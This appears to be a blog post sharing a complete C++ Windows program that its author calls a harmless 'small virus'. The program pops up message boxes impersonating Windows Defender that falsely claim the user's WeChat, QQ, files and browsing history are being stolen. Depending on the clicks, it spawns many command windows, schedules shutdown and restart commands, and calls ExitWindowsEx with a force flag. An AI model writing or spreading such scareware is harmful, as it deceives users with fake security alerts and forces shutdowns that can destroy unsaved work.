#include<bits/stdc++.h>
#include<iostream>
#include<windows.h>
#include<cstring>
using namespace std;
int main()
{
char n;
n=MessageBox(NULL,"出现了一个已知问题,你想要修复它吗?","此电脑",MB_YESNOCANCEL|MB_ICONERROR);
if(n==IDYES)
{
MessageBox(NULL,"修复问题失败","此电脑",MB_OK|MB_ICONASTERISK);
char n3;
n3=MessageBox(NULL,"是否扫描此电脑?","Windows Defender",MB_YESNO|MB_ICONQUESTION);
if(n3==IDYES)
{
MessageBox(NULL,"正在扫描中......","Windows Defender",MB_OK|MB_ICONASTERISK);
char n5;
n5=MessageBox(NULL,"发现了已知病毒,是否清除?","Windows Defender",MB_YESNOCANCEL|MB_ICONWARNING);
if(n5==IDYES)
{
MessageBox(NULL,"无法清除此病毒","Windows Defender",MB_OK|MB_ICONSTOP);
char n7;
n7=MessageBox(NULL,"正在盗取你的微信、QQ及所有文件和浏览记录至云端","Virus",MB_YESNO|MB_ICONINFORMATION);
if(n7==IDYES)
{
MessageBox(NULL,"无法中止病毒进程","System",MB_OK|MB_ICONQUESTION);
MessageBox(NULL,"无法中止此进程","Virus",MB_OK|MB_ICONERROR);
MessageBox(NULL,"删除系统文件","Virus",MB_OK|MB_ICONERROR);
system("dir c:\Windows");
MessageBox(NULL,"无法终止此操作!","Virus",MB_OK|MB_ICONERROR);
MessageBox(NULL,"您的计算机将在5秒钟后关机","Virus",MB_OK|MB_ICONERROR);
system("shutdown -r -t 5");
Sleep(2222);
system("shutdown /a");
system("pause");
return 0;
}
else
{
MessageBox(NULL,"病毒发作!","Virus",MB_YESNOCANCEL|MB_ICONASTERISK);
for(int i=0;i<15;i++)
{
system("start");
}
ExitWindowsEx(EWX_SHUTDOWN | EWX_FORCE, 0);
}
}
}
else
{
ExitWindowsEx(EWX_SHUTDOWN | EWX_FORCE, 0);
}
}
else
{
MessageBox(NULL,"病毒发作!","Virus",MB_YESNOCANCEL|MB_ICONASTERISK);
for(int i=0;i<15;i++)
{
system("start");
}
char n4;
n4=MessageBox(NULL,"现在还不把它关掉!","Virus_还不快关",MB_YESNO|MB_ICONINFORMATION);
if(n4==IDYES)
{
return 0;
}
else
{
MessageBox(NULL,"你的计算机,给我挂!","Virus_关机",MB_YESNO|MB_ICONWARNING);
system("shutdown -s -t 10");
ExitWindowsEx(EWX_SHUTDOWN | EWX_FORCE, 0);
return 0;
}
}
}
C++小病毒(没有伤害的(前提是配合))
于 2023-09-03 14:25:28 首次发布